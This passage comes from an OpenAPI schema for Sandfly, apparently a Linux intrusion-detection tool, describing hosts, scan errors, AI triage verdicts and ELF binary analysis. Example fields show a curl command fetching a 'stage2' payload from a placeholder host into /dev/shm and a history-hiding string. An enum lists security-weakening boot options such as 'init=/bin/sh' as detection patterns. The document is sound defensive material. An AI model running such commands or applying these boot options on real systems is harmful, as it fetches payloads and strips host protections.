port","format":"int32","default":587},"mail_username":{"type":"string","description":"Username credential for the mail server."}}},"EmailUpdate":{"properties":{"email_recipients":{"description":"Array format of single or multiple e-mail addresses where alerts should be sent.","items":{"type":"string","format":"email"},"type":"array"},"email_sender":{"description":"email address of the person sending the e-mail.","type":"string","format":"email"},"mail_password":{"description":"Password used with this email entry. If this property is not present or is null, the existing password is not changed.","type":"string"},"mail_port":{"description":"SMTP server port","type":"integer"},"mail_server":{"description":"hostname or IP address for the SMTP server.","type":"string"},"mail_username":{"description":"Username used with this email entry. If this property is not present or is null, the existing username is not changed.","type":"string"}},"required":["email_recipients","email_sender","mail_server","mail_port"],"type":"object"},"ErrorLog":{"properties":{"data":{"description":"Error log entries.","oneOf":[{"items":{"$ref":"#/components/schemas/ErrorLogEntry"},"type":"array"},{"items":{"$ref":"#/components/schemas/ErrorLogSummaryEntry"},"type":"array"}]},"total":{"description":"Total number of records returned in this page.","format":"int32","type":"integer"},"more_results":{"description":"Whether there are more results beyond this page.","type":"boolean"}},"type":"object"},"ErrorLogEntry":{"type":"object","required":["id","data","header","run_id","host_id","ip_addr","hostname","error_msg","queue_name"],"properties":{"id":{"type":"string","description":"Error log entry ID."},"data":{"type":"string","description":"Error data"},"header":{"type":"object","description":"Information about the target host that a scan error pertains to","required":["ssh","tags","ad_hoc","run_id","status","host_id","ip_addr","end_time","hostname","ssh_port","jump_hosts","queue_name","start_time","status_msg","manual_scan","credentials_id","verify_host_key"],"properties":{"ssh":{"type":"object"},"tags":{"type":"array","items":{"type":"string"},"description":"Host tags."},"ad_hoc":{"type":"boolean","description":"Whether or not this was an ad-hoc scan request."},"run_id":{"type":"string","description":"Scan run ID."},"status":{"type":"string","description":"Overall result status."},"host_id":{"type":"string","description":"Target host ID."},"ip_addr":{"type":"string","description":"Target host IP address."},"end_time":{"type":"string","description":"Time scan attempt ended."},"hostname":{"type":"string","description":"Target host address."},"ssh_port":{"type":"integer","description":"Target host SSH port number."},"jump_hosts":{"$ref":"#/components/schemas/LinkedJumpHosts"},"queue_name":{"type":"string","description":"Scan queue name."},"start_time":{"type":"string","description":"Start time of scan attempt."},"status_msg":{"type":"string","description":"Scan status."},"manual_scan":{"type":"boolean","description":"Indicates if this was a manual (as opposed to scheduled) scan."},"credentials_id":{"type":"string","description":"Credential used to attempt to log on to target host."},"verify_host_key":{"type":"boolean","description":"Indicates if SSH host key verification was requested."}}},"run_id":{"type":"string","description":"Run ID of this scan."},"host_id":{"type":"string","description":"Host ID of target host."},"ip_addr":{"type":"string","nullable":true,"description":"Target host IP address, if known."},"hostname":{"type":"string","description":"Target host address."},"error_msg":{"type":"string","description":"Error message."},"queue_name":{"type":"string","description":"Scan queue name."}}},"ErrorLogSummaryEntry":{"type":"object","required":["id","run_id","host_id","ip_addr","hostname","start_time","error_msg","queue_name"],"properties":{"id":{"type":"string","description":"Error entry ID."},"run_id":{"type":"string","description":"Run ID of scan."},"start_time":{"type":"string","description":"Scan start time."},"host_id":{"type":"string","description":"Host ID of target host."},"ip_addr":{"type":"string","nullable":true,"description":"IP address of target host, if known."},"hostname":{"type":"string","description":"Target host address."},"error_msg":{"type":"string","description":"Error message."},"queue_name":{"type":"string","nullable":true,"description":"Scan queue name."}}},"FileSignal":{"type":"string","title":"FileSignal","description":"Findings from a file.","enum":["world-writable","size-mismatch","extension-mismatch","ctime-newer-than-mtime"],"x-enumDescriptions":{"world-writable":"Any user can replace this file.","size-mismatch":"The file's reported size does not match its actual contents, a sign of tampering.","extension-mismatch":"The file's contents do not match its name, such as a program named as an image.","ctime-newer-than-mtime":"The file's timestamps are inconsistent, a sign they were faked."},"x-enumSeverities":{"world-writable":5,"size-mismatch":5,"extension-mismatch":5,"ctime-newer-than-mtime":2}},"Host":{"description":"Host object containing what was discovered about a host as it was added to the system inventory.","properties":{"active":{"title":"Host.active","description":"Is this host active (valid credentials and login)? Maintained by Sandfly as hosts are scanned; it is not user-settable. Use POST /hosts/retry to have an inactive host checked again.","type":"boolean"},"authentication_status":{"title":"Host.authentication_status","description":"What is the state of the authentication? ok, failed, error","type":"string"},"credentials_id":{"title":"Host.credentials_id","description":"credentials_id to use for this host.","type":"string"},"data":{"properties":{"explanation":{"title":"Data.explanation","type":"string"}},"required":["explanation"],"additionalProperties":false,"title":"Data","type":"object"},"date_first_seen":{"description":"Date first saw this host.","title":"Host.date_first_seen","nullable":true,"type":"string"},"date_last_seen":{"title":"Host.date_last_seen","description":"Last time we saw this host.","nullable":true,"type":"string"},"date_last_scan":{"title":"Host.date_last_scan","description":"Last time we successfully connected to and authenticated to this host.","nullable":true,"type":"string"},"override_directory":{"title":"Host.override_directory","description":"Directory to run scan from instead of the node configuration values.","type":"string"},"first_seen_ip_addr":{"title":"Host.first_seen_ip_addr","description":"First IP address we saw for this host.","nullable":true,"type":"string"},"host_id":{"title":"Host.host_id","description":"A unique ID for this host (ssh key fingerprint), or the host_name if we saw no SSH.","type":"string"},"host_sequence_id":{"title":"Host.host_sequence_id","description":"Alternative integer ID assigned to this host.","type":"integer"},"hostname":{"title":"Host.hostname","description":"Hostname of host.","type":"string"},"id":{"title":"Host.id","description":"Alias for host_id.","type":"string","deprecated":false},"jump_hosts":{"items":{"type":"string","title":"Host.jump_hosts.[]"},"title":"Host.jump_hosts","description":"List of jump_host names for this host.","type":"array"},"last_seen_ip_addr":{"title":"Host.last_seen_ip_addr","description":"Last IP address we saw for this host.","nullable":true,"type":"string"},"last_scan_duration_seconds":{"title":"Last scan duration (seconds)","description":"Duration of last scan operation, in seconds.","type":"integer","nullable":true},"os":{"title":"Host.os","description":"Operating system data collected.","$ref":"#/components/schemas/Os","nullable":true},"queue_name":{"title":"Host.queue_name","description":"Queue name.","type":"string"},"results":{"properties":{"alert":{"type":"integer","description":"Total alert results on this host.","minimum":0},"alert_artifacts":{"type":"integer","description":"Number of current alerting artifacts on this host. An artifact that more than one sandfly alerted on counts once, where `alert` counts each sandfly's alert.","minimum":0},"error":{"type":"integer","description":"Total error results on this host.","minimum":0},"pass":{"type":"integer","description":"Total pass results on this host.","minimum":0},"total":{"type":"integer","description":"Total results on this host.","minimum":0}},"required":["alert","alert_artifacts","error","pass","total"],"additionalProperties":false,"title":"Results","type":"object"},"run_id":{"title":"Host.run_id","type":"string"},"ssh":{"properties":{"banner":{"title":"Host.ssh.banner","type":"string"},"keys":{"additionalProperties":{"properties":{"bits":{"title":"Key.bits","type":"integer"},"fingerprint":{"title":"Key.fingerprint","type":"string"},"public_key":{"title":"Key.public_key","type":"string"},"type":{"title":"Key.type","type":"string"}},"required":["bits","fingerprint","public_key","type"],"additionalProperties":false,"title":"Key","type":"object"},"title":"Host.ssh.keys","type":"object"},"negotiated_key_type":{"title":"Host.ssh.negotiated_key_type","type":"string"},"port":{"title":"Host.ssh.port","type":"integer"}},"required":["banner","keys","negotiated_key_type","port"],"additionalProperties":false,"title":"Host.ssh","type":"object"},"ssh_key_fingerprint":{"title":"Host.ssh_key_fingerprint","description":"SSH fingerprint of remote host.","nullable":true,"type":"string"},"ssh_port":{"title":"Host.ssh_port","description":"SSH port for host.","type":"integer","default":22},"tags":{"items":{"title":"Host.tags.[]","type":"string"},"title":"Host.tags","description":"A list of tags for this host.","type":"array"},"verify_host_key":{"title":"Host.verify_host_key","description":"Should we verify the host key?","type":"boolean","default":false},"version":{"title":"Host.version","description":"Version type for this record.","type":"integer"},"severity":{"type":"integer","description":"The host's severity, 0-5. When AI triage has analyzed the host, the analysis sets the severity. Otherwise it's the highest severity among the host's alerting artifacts or 0 when nothing is alerting.","minimum":0,"maximum":5},"triage_verdict":{"type":"string","description":"The host's AI triage verdict: one of the six verdicts (the last one formed for the host, kept while a new one is queued or after a later attempt fails), `pending` for a host waiting for its first verdict, `error` for a host whose only attempt at a verdict failed, `excluded` for a host whose tags keep it out of automatic AI triage and which nobody has asked for a verdict on, or `none` for a host with no record and nothing queued.","enum":["clean","likely_false_positive","needs_attention","suspicious","likely_malicious","likely_compromised","pending","error","excluded","none"]},"triage_stale":{"type":"boolean","description":"Whether the host's AI triage verdict is stale: true when a host materially changes and there isn't a new analysis yet. False for a host with no verdict. Not set by an operator's revert, which changes what the host reports rather than what is alerting on it."},"triage_queue_state":{"$ref":"#/components/schemas/HostTriageQueueState"}},"required":["active","authentication_status","credentials_id","data","severity","triage_verdict","triage_stale","triage_queue_state","date_first_seen","date_last_seen","date_last_scan","first_seen_ip_addr","host_id","host_sequence_id","hostname","id","jump_hosts","last_seen_ip_addr","os","override_directory","queue_name","results","run_id","ssh","ssh_key_fingerprint","ssh_port","tags","verify_host_key","version"],"additionalProperties":false,"title":"Host","type":"object"},"Hosts":{"type":"array","items":{"$ref":"#/components/schemas/Host"},"description":"Array of host objects."},"HostBulkTag":{"type":"object","properties":{"host_ids":{"description":"List of host IDs to perform the bulk tagging operation on.","items":{"type":"string"},"type":"array"},"host_sequence_ids":{"description":"List of host sequence IDs to perform the bulk tagging operation on.","items":{"type":"integer"},"type":"array"},"tags":{"description":"List of tags to add or remove to the hosts.","items":{"type":"string"},"type":"array"}}},"BinaryAnalysis":{"type":"object","title":"BinaryAnalysis","description":"What an ELF binary is, what it can do, and how likely it is to be malicious.","required":["architecture","type","threat_score","threat_score_lr","threat_score_gbdt"],"properties":{"interpreter":{"type":"string","description":"The dynamic loader this program needs in order to run.","example":"/lib64/ld-linux-x86-64.so.2"},"build_id":{"type":"string","description":"Build identifier stamped into the file when it was compiled.","example":"e3e821472e2c1845f6039963981a5a927dabcac0"},"comment":{"type":"string","description":"Compiler version string left in the file.","example":"GCC: (Debian 15.2.0-16) 15.2.0"},"architecture":{"$ref":"#/components/schemas/Architecture"},"type":{"$ref":"#/components/schemas/ElfType"},"properties":{"type":"array","description":"How the binary is built and linked.","items":{"$ref":"#/components/schemas/PropertyTag"}},"hardening":{"type":"array","description":"Exploit-mitigation protections built into the binary.","items":{"$ref":"#/components/schemas/HardeningTag"}},"hardening_missing":{"type":"array","description":"Exploit-mitigation protections this binary does without.","items":{"$ref":"#/components/schemas/HardeningTag"}},"capabilities":{"type":"array","description":"What the program is able to do. Common in legitimate software too.","items":{"$ref":"#/components/schemas/CapabilityTag"}},"suspicious":{"type":"array","description":"Suspicious binary capabilities that warrant a closer look.","items":{"$ref":"#/components/schemas/SuspiciousTag"}},"anomalies":{"type":"array","description":"Structural traits of the file that are out of the ordinary.","items":{"$ref":"#/components/schemas/AnomalyTag"}},"confirmed":{"type":"array","description":"Specific network and execution behaviors identified in the program.","items":{"$ref":"#/components/schemas/ConfirmedTag"}},"exec_targets":{"type":"array","description":"Commands and programs this binary runs, such as a shell or other external commands.","items":{"type":"string"},"maxItems":32,"example":["/bin/sh","/bin/sh -c \"id; uname -a\"","/usr/bin/curl -sL http://ip.address/stage2 -o /dev/shm/.x"]},"decoded_strings":{"type":"array","description":"Strings the program hid with a simple XOR key, decoded, such as server names, file paths and commands. Present only with the encoded-strings-xor tag.","items":{"type":"string"},"maxItems":32,"example":["update.example.com","/lib/libntpVnQE6mk/.boot.sh","HISTFILE=/dev/null"]},"decode_keys_xor":{"type":"array","description":"The XOR keys that hid the decoded strings, in hexadecimal.","items":{"type":"string","pattern":"^0x[0-9a-f]{2}$"},"example":["0x37"]},"counts":{"$ref":"#/components/schemas/BinaryCounts"},"suspicious_symbols":{"type":"array","description":"Symbols that are suspiciously named and commonly found in malware or malware-like utilities.","items":{"type":"string"},"maxItems":20},"suspicious_syscalls":{"type":"array","description":"System calls commonly used by malware.","items":{"type":"string"},"maxItems":20},"suspicious_strings":{"type":"array","description":"Text found in the program that is commonly seen in malware.","items":{"type":"string"},"maxItems":20},"suspicious_exported_symbols":{"type":"array","description":"Functions the program offers to others. This can be abused to hijack normal system behavior, such as with rootkits, or may be benign.","items":{"type":"string"},"maxItems":20},"imports":{"type":"array","description":"Shared libraries the program loads.","items":{"type":"string"},"example":["libssl.so.3","libcrypto.so.3","libc.so.6"]},"iocs":{"$ref":"#/components/schemas/BinaryIOCs"},"overlay":{"$ref":"#/components/schemas/BinaryOverlay"},"threat_score":{"type":"integer","minimum":0,"maximum":100,"description":"Overall threat rating from 0 to 100. Higher means more likely malicious."},"threat_score_lr":{"type":"integer","minimum":0,"maximum":100,"description":"Logistic Regression binary score."},"threat_score_gbdt":{"type":"integer","minimum":0,"maximum":100,"description":"Gradient Boosted Decision Tree binary score."},"score_path":{"$ref":"#/components/schemas/ScorePath"}}},"BinaryEvidenceSignal":{"type":"string","title":"BinaryEvidenceSignal","description":"Findings about the exploit-mitigation protections built into a program.","enum":["weak-hardening","stripped-symbols","partial-relro"],"x-enumDescriptions":{"weak-hardening":"The program is built with almost none of the usual exploit protections.","stripped-symbols":"All symbol names have been removed, making the program harder to analyze.","partial-relro":"Only partial RELRO memory protection is in place."},"x-enumSeverities":{"weak-hardening":2,"stripped-symbols":2,"partial-relro":0}},"BootCmdlineToken":{"type":"string","title":"BootCmdlineToken","description":"Kernel boot options that weaken the host and survive reboots.","enum":["selinux=0","apparmor=0","enforcing=0","module.sig_enforce=0","nokaslr","init=/bin/sh","init=/bin/bash","audit=0","lockdown=none","mitigations=off"],"x-enumDescriptions":{"selinux=0":"SELinux disabled at boot. Persists across reboots.","apparmor=0":"AppArmor disabled at boot. Persists across reboots.","enforcing=0":"SELinux booted permissive. Persists across reboots.","module.sig_enforce=0":"Unsigned kernel modules are allowed to load. Persists across reboots.","nokaslr":"Kernel address randomisation disabled. Persists across reboots.","init=/bin/sh":"Boots straight to a root shell with no login required.","init=/bin/bash":"Boots straight to a root shell with no login required.","audit=0":"Kernel auditing disabled. Persists across reboots.","lockdown=none":"Kernel lockdown disabled. Persists across reboots.","mitigations=off":"CPU vulnerability mitigations disabled. Persists across reboots."},"x-enumSeverities":{"selinux=0":5,"apparmor=0":5,"enforcing=0":5,"module.sig_enforce=0":5,"nokaslr":5,"init=/bin/sh":5,"init=/bin/bash":5,"audit=0":2,"lockdown=none":2,"mitigations=off":2}},"BulkTagOperation":{"type":"string","enum":["add","remove"]},"HostConfiguration":{"discriminator":{"propertyName":"_mode","mapping":{"iplist_new":"#/components/schemas/HostConfigurationIplistNewCredentials","iplist_existing":"#/components/schemas/HostConfigurationIplist","netblock_new":"#/components/schemas/HostConfigurationNetblockNewCredentials","netblock_existing":"#/components/schemas/HostConfigurationNetblock"}},"oneOf":[{"$ref":"#/components/schemas/HostConfigurationIplistNewCredentials"},{"$ref":"#/components/schemas/HostConfigurationIplist"},{"$ref":"#/components/schemas/HostConfigurationNetblockNewCredentials"},{"$ref":"#/components/schemas/HostConfigurationNetblock"}]},"HostConfigurationCommon":{"type":"object","required":["_mode"],"properties":{"_mode":{"$ref":"#/components/schemas/HostConfigurationMode"},"credentials_create":{"deprecated":true,"type":"string","enum":["new","existing"],"default":"existing","example":"new"}}},"HostConfigurationMode":{"description":"A discriminator to determine which fields can be safely ignored. If left blank, the API will attempt to determine the correct configuration based on data present.","type":"string","enum":["iplist_new","iplist_existing","netblock_new","netblock_existing"],"example":"iplist_new"},"HostConfigurationIplistNewCredentials":{"allOf":[{"$ref":"#/components/schemas/HostConfigurationCommon"},{"$ref":"#/components/schemas/HostConnectionList"},{"$ref":"#/components/schemas/HostConfigurationNewCredential"},{"$ref":"#/components/schemas/HostConnectionCommon"}]},"HostConfigurationIplist":{"required":["credentials_id"],"allOf":[{"$ref":"#/components/schemas/HostConnectionList"},{"$ref":"#/components/schemas/LinkedCredential"},{"$ref":"#/components/schemas/HostConfigurationCommon"},{"$ref":"#/components/schemas/HostConnectionCommon"}]},"HostConfigurationNetblockNewCredentials":{"allOf":[{"$ref":"#/components/schemas/HostConnectionRange"},{"$ref":"#/components/schemas/HostConfigurationNewCredential"},{"$ref":"#/components/schemas/HostConfigurationCommon"},{"$ref":"#/components/schemas/HostConnectionCommon"}]},"HostConfigurationNewCredential":{"type":"object","required":["credentials_name"],"properties":{"credentials_name":{"description":"Unique name of credential","nullable":false,"type":"string"}},"allOf":[{"$ref":"#/components/schemas/CredentialConfiguration"}]},"HostConfigurationNetblock":{"required":["credentials_id"],"allOf":[{"$ref":"#/components/schemas/HostConnectionRange"},{"$ref":"#/components/schemas/LinkedCredential"},{"$ref":"#/components/schemas/HostConfigurationCommon"},{"$ref":"#/components/schemas/HostConnectionCommon"}]},"HostConnectionCommon":{"properties":{"ssh_port":{"default":22,"description":"SSH port to use for scanning.","format":"int32","type":"integer"},"tags":{"$ref":"#/components/schemas/HostTags"},"jump_hosts":{"$ref":"#/components/schemas/LinkedJumpHosts"},"queue_name":{"description":"Queue name to use for this host.","type":"string","default":"main","example":"main"},"override_directory":{"description":"Directory to run scan from instead of the node configuration values. An empty string means no override. For the behavior of an empty string in the node config file (where an empty string means use the home directory), enter \"~\" here. Any other value must be an absolute path of at most 512 characters, using only letters, digits, space, and . _ - + , @ % : = ~ /","type":"string"},"verify_host_key":{"default":false,"description":"Verify host key when connecting to a host.","type":"boolean","example":true},"ssh_host_keys":{"additionalProperties":{"$ref":"#/components/schemas/SshHostKeyConfig"},"description":"Expected SSH host public keys of the hosts to add. If a host key isn't provided for a host, any key will be accepted.","type":"object"}},"type":"object"},"HostConnectionList":{"properties":{"ip_list":{"description":"List of IP addresses to scan.","items":{"type":"string"},"type":"array"}},"required":["ip_list"],"type":"object"},"HostConnectionRange":{"properties":{"ip_range":{"description":"IP ranges to scan.","items":{"type":"string"},"type":"array"}},"required":["ip_range"],"type":"object"},"HostConnectionCredentialMode":{"type":"string","enum":["existing","new"]},"HostConnectionType":{"type":"string","enum":["ip_list","ip_range"]},"HostInfoCommon":{"type":"object","required":["result_id","result_sequence_id","artifact_id","result_status","containerized","result_sandfly"],"properties":{"result_id":{"type":"string","description":"Result ID of the result this information came from."},"result_sequence_id":{"type":"integer","format":"int64","description":"Result Sequence ID of the result this information came from."},"artifact_id":{"type":"integer","format":"int64","description":"ID of the artifact this information came from."},"result_status":{"$ref":"#/components/schemas/ResultStatus"},"containerized":{"type":"boolean","description":"Indicates if this information came from a container."},"result_sandfly":{"type":"string","description":"Name of sandfly associated with this result."}}},"HostInfoResponse":{"type":"object","required":["results_date","source_sandflies","status"],"properties":{"results_date":{"type":"string","format":"date-time","description":"The date as of which the data is current. When data is present this is the most recent scan date among the results returned; when the list is empty it is the oldest last-run time of the source sandflies, so an empty list still says when the host was last looked at. Null only when none of the source sandflies have run against this host.","nullable":true},"source_sandflies":{"type":"array","description":"The list of sandflies that this data is derived from.","items":{"type":"string","description":"data source sandfly name"}},"status":{"type":"string","description":"Status of the data source. 'ok' indicates the necessary sandflies are active and have run against this host with their results still stored, so the response is complete -- including when a sandfly ran and found nothing to report. 'missing_results' means that even though the necessary sandflies are active, at least one of them has no data for this host: it has never run against the host, or the results its last run recorded are no longer in the database (deleted, or expired under the data retention settings). It is a hint about why a list may be empty; scan the host to fill the gap. 'sandfly_inactive' means one or more sandflies that provide data for this API call are inactive.","enum":["ok","missing_results","sandfly_inactive"]}}},"HostInfoKernelModule":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["module_name","module_path","module_state","module_taints"],"properties":{"module_name":{"type":"string","description":"Kernel module name."},"module_path":{"type":"string","description":"Kernel module file path."},"module_state":{"type":"string","description":"Kernel module state."},"module_taints":{"type":"string","description":"Kernel module kernel taints list."}}},"HostInfoLastlog":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["user_id","user_name","last_login_date","last_login_terminal","last_login_hostname"],"properties":{"user_id":{"type":"integer","description":"UID of the user in the lastlog entry."},"user_name":{"type":"string","description":"The username of the user in the lastlog entry."},"last_login_date":{"type":"string","format":"date-time","description":"Last login date of this user as indicated in the lastlog entry."},"last_login_terminal":{"type":"string","description":"Last login terminal of this user as indicated in the lastlog entry."},"last_login_hostname":{"type":"string","description":"Last login hostname of this user as indicated in the lastlog entry."}}},"HostInfoListener":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["process_id","process_name","process_parent_id","process_path","process_user","network_type","network_listen_port","network_listen_address"],"properties":{"process_id":{"type":"integer","description":"PID of the process bound to the listening port."},"process_name":{"type":"string","description":"Name of the process bound to the listening port."},"process_parent_id":{"type":"integer","description":"Parent process ID."},"process_path":{"type":"string","description":"Path of the process binary."},"process_user":{"type":"string","description":"Username of the process owner."},"network_type":{"type":"string","description":"Network type the listener is bound to.","enum":["tcp","tcp6","udp","udp6","icmp","icmp6","raw","raw6","sctp"]},"network_listen_port":{"type":"integer","description":"The port number of the listener."},"network_listen_address":{"type":"string","description":"The address the process is listening on."}}},"HostInfoLoggedInUser":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["user_name","login_date","login_device","login_hostname","login_ipaddress","login_process_id"],"properties":{"user_name":{"type":"string","description":"The username of the logged in user."},"login_date":{"type":"string","format":"date-time","description":"Time this user logged in."},"login_device":{"type":"string","description":"Login session device."},"login_hostname":{"type":"string","description":"The remote hostname of this login session."},"login_ipaddress":{"type":"string","description":"The remote IP address of this login session."},"login_process_id":{"type":"integer","description":"The login session process ID."}}},"HostInfoProcess":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["process_id","process_parent_id","process_name","process_cmd","process_cmdline","process_deleted","process_created","process_user","process_group"],"properties":{"process_id":{"type":"integer","description":"Process ID."},"process_parent_id":{"type":"integer","description":"Parent process ID."},"process_name":{"type":"string","description":"Process name."},"process_cmd":{"type":"string","description":"Process command."},"process_cmdline":{"type":"string","description":"Process command line."},"process_deleted":{"type":"boolean","description":"Indicates if the process binary was deleted from disk after the process started."},"process_created":{"type":"string","format":"date-time","description":"Time the process was created."},"process_user":{"type":"string","description":"Process user. If the user ID doesn't map to a username, the process UID is used."},"process_group":{"type":"string","description":"Process group. If the group ID doesn't map to a group name, the process GID is used."}}},"HostInfoScheduledTask":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["task_type","task_user","task_schedule","task_name","task_command"],"properties":{"task_type":{"type":"string","description":"The scheduler this task is from.","enum":["cron","at","systemd","systemd-user"]},"task_user":{"type":"string","description":"The username (or user ID) that runs this task."},"task_schedule":{"type":"string","description":"The schedule specification for this task."},"task_name":{"type":"string","description":"Name of this task, if the scheduler supports such a concept."},"task_command":{"type":"string","description":"The command(s) this task executes."}}},"HostInfoService":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["service_scope","service_name","service_state","service_sub_state","service_commands","service_owner_uid"],"properties":{"service_scope":{"type":"string","description":"Whether this is a system or user systemd unit.","enum":["system","user"]},"service_name":{"type":"string","description":"The service unit name."},"service_state":{"type":"string","description":"The service unit state."},"service_sub_state":{"type":"string","description":"The service unit substate."},"service_commands":{"type":"string","description":"The command(s) this service executes."},"service_owner_uid":{"type":"integer","description":"The owner of this service (e.g. 0 for system services and the user ID for user services)."}}},"HostInfoUser":{"type":"object","allOf":[{"$ref":"#/components/schemas/HostInfoCommon"}],"required":["user_id","user_name","group_id","group_name","group_membership","user_home_dir","user_gecos","user_password_locked","user_password_disabled","user_password_empty","user_password_present","user_password_type","user_ssh_authorized_keys_count","user_ssh_authorized_keys_duplicates"],"properties":{"user_id":{"type":"integer","description":"The UID of the user."},"user_name":{"type":"string","description":"The username of the user."},"group_id":{"type":"integer","description":"The primary GID of the user."},"group_name":{"type":"string","description":"The name of the primary group of the user."},"group_membership":{"type":"array","items":{"type":"string"},"description":"A list of additional group memberships for the user."},"user_home_dir":{"type":"string","description":"The home directory of the user."},"user_gecos":{"type":"string","description":"The GECOS field associated with the user."},"user_password_locked":{"type":"boolean","example":false,"description":"Indicates if the user's password is locked."},"user_password_disabled":{"type":"boolean","example":false,"description":"Indicates if the user's password is disabled."},"user_password_empty":{"type":"boolean","example":false,"description":"Indicates if the user's password is empty."},"user_password_present":{"type":"boolean","example":true,"description":"Indicates if the user's password is present."},"user_password_type":{"type":"string","description":"The hash algorithm used for the user's password."},"user_ssh_authorized_keys_count":{"type":"integer","description":"The number of SSH authorized keys for the user."},"user_ssh_authorized_keys_duplicates":{"type":"boolean","description":"Indicates if there are duplicate SSH authorized keys for the user."}}},"HostBrief":{"type":"object","required":["host_id","host_sequence_id","hostname","os_info_node","tags","os_info_os_release_pretty_name","date_last_scan"],"properties":{"host_id":{"type":"string","description":"Unique ID of the host."},"host_sequence_id":{"type":"integer","description":"Alternative integer ID assigned to this host."},"hostname":{"type":"string","description":"Hostname of host."},"os_info_node":{"type":"string","description":"OS node name."},"tags":{"type":"array","description":"A list of tags for this host. Empty when the host has no tags.","items":{"type":"string"}},"os_info_os_release_pretty_name":{"type":"string","description":"Human friendly OS distribution name and version."},"date_last_scan":{"type":"string","description":"Date and time a node last connected to this host. Null when no node has ever connected to it.","format":"date-time","nullable":true}}},"HostRollup":{"type":"object","required":["host","ssh_summary","whitelists_count","result_profiles_count","recon_status","triage","severity"],"properties":{"host":{"$ref":"#/components/schemas/Host"},"ssh_summary":{"type":"object","allOf":[{"$ref":"#/components/schemas/SshHostSummarySSHInfo"},{"$ref":"#/components/schemas/SshHostSummaryUsers"}],"properties":{"zones":{"type":"array","items":{"$ref":"#/components/schemas/SSHZoneSummary"}}}},"whitelists_count":{"type":"integer","description":"Number of whitelists applied to this host."},"result_profiles_count":{"type":"integer","description":"Number of result profiles applied to this host."},"recon_status":{"type":"object","description":"Status of the recon sandflies that contribute to host information displayed in the UI. Each property is a sandfly name. 'ok' means the sandfly is active and has run against this host with its results still stored, including the case where it ran and found nothing to report. 'missing_results' means that even though the sandfly is active, it has no data for this host: it has never run against the host, or the results its last run recorded are no longer in the database (deleted, or expired under the data retention settings). 'sandfly_inactive' means the sandfly is inactive.","additionalProperties":{"$ref":"#/components/schemas/SandflyStatus"}},"alerting_artifacts":{"type":"array","description":"The host's current alerting artifacts, highest severity first and, within a severity, most recently seen first. Superseded artifacts are not included. Present only when the request set `artifacts=true`: absent means the caller did not ask for them, while an empty array means the host has none. The list is capped at 50 artifacts; more_alerting_artifacts says whether the host has more of them, which POST /artifacts filtered on this host will list. Every entry carries host_counts, so the caller can tell an alert peculiar to this host from one that more hosts share without asking about each artifact separately, and summarizes the sandflies matching it in sandflies, worst result first.","items":{"$ref":"#/components/schemas/Artifact"}},"more_alerting_artifacts":{"type":"boolean","description":"True when the host has more alerting artifacts than alerting_artifacts holds. Reported only alongside alerting_artifacts, and only when true; absent reads as false."},"triage":{"$ref":"#/components/schemas/HostTriage","nullable":true,"description":"The host's cached AI triage verdict. Null when the host has never been triaged and is not waiting to be; a host queued for its first verdict carries it in the `queued` or `running` state, with its queue position."},"severity":{"type":"integer","description":"The host's severity, 0-5. When AI triage has analyzed the host, the analysis sets the severity. Otherwise it's the highest severity among the host's alerting artifacts or 0 when nothing is alerting. A host with an artifact in error is at least severity 2 either way, since an error means part of the host could not be scanned.","minimum":0,"maximum":5}}},"HostSummary":{"type":"object","description":"Host summary record.","required":["id","host_id","host_sequence_id","hostname","severity","triage_verdict","triage_stale","triage_queue_state","active","credentials_id","authentication_status","date_first_seen","date_last_seen","first_seen_ip_addr","last_seen_ip_addr","jump_hosts","os_hardware_cpu_bugs","os_hardware_cpu_cores","os_hardware_cpu_mhz","os_hardware_cpu_model_name","os_hardware_dmi_bios_vendor","os_hardware_dmi_chassis_vendor","os_hardware_dmi_product_family","os_hardware_dmi_product_name","os_hardware_dmi_sys_vendor","os_info_arch","os_info_machine","os_info_node","os_info_os_release_id","os_info_os_release_name","os_info_os_release_version","os_info_os_release_pretty_name","os_info_os_release_version_codename","os_info_release","os_info_uptime_date","os_info_uptime_days","os_performance_cpu_fifteen_min","os_performance_cpu_fifteen_min_core_adjusted","os_performance_cpu_five_min","os_performance_cpu_five_min_core_adjusted","os_performance_cpu_one_min","os_performance_cpu_one_min_core_adjusted","override_directory","queue_name","ssh_key_fingerprint","ssh_port","verify_host_key","os_info_os_release_version_id","tags","version","results_alert","alert_artifacts","results_error","results_pass","results_total"],"properties":{"active":{"type":"boolean","description":"Is this host active (valid credentials and login)? Maintained by Sandfly as hosts are scanned; it is not user-settable. Use POST /hosts/retry to have an inactive host checked again."},"authentication_status":{"type":"string","description":"What is the state of the authentication? ok, failed, error"},"hostname":{"type":"string","description":"Hostname of host.","format":"int32"},"ssh_port":{"type":"integer","description":"SSH port for host."},"credentials_id":{"type":"string","description":"credentials_id to use for this host."},"jump_hosts":{"type":"array","description":"List of jump_host names for this host.","items":{"type":"string"}},"id":{"type":"string","description":"Alias for host_id.","deprecated":true},"host_id":{"type":"string","description":"Unique ID of the host this summary record is for."},"host_sequence_id":{"title":"Host.host_sequence_id","description":"Alternative integer ID assigned to this host.","type":"integer"},"date_first_seen":{"type":"string","description":"Date and time this host was first seen.","format":"date-time","nullable":true},"date_last_seen":{"type":"string","description":"Date and time this host was last seen.","format":"date-time","nullable":true},"first_seen_ip_addr":{"type":"string","description":"IP address this host was first seen on.","nullable":true},"last_seen_ip_addr":{"type":"string","description":"IP address this host was last seen on.","nullable":true},"os_hardware_cpu_bugs":{"type":"array","description":"List of known CPU bugs.","nullable":true,"items":{"type":"string"}},"os_hardware_cpu_cores":{"type":"integer","description":"Number of CPU cores on this host."},"os_hardware_cpu_mhz":{"type":"number","description":"CPU speed in MHz."},"os_hardware_cpu_model_name":{"type":"string","description":"CPU model name."},"os_hardware_dmi_bios_vendor":{"type":"string","description":"DMI BIOS vendor."},"os_hardware_dmi_chassis_vendor":{"type":"string","description":"DMI chassis vendor."},"os_hardware_dmi_product_family":{"type":"string","description":"DMI product family."},"os_hardware_dmi_product_name":{"type":"string","description":"DMI product name."},"os_hardware_dmi_sys_vendor":{"type":"string","description":"DMI system vendor."},"os_info_arch":{"type":"string","description":"OS 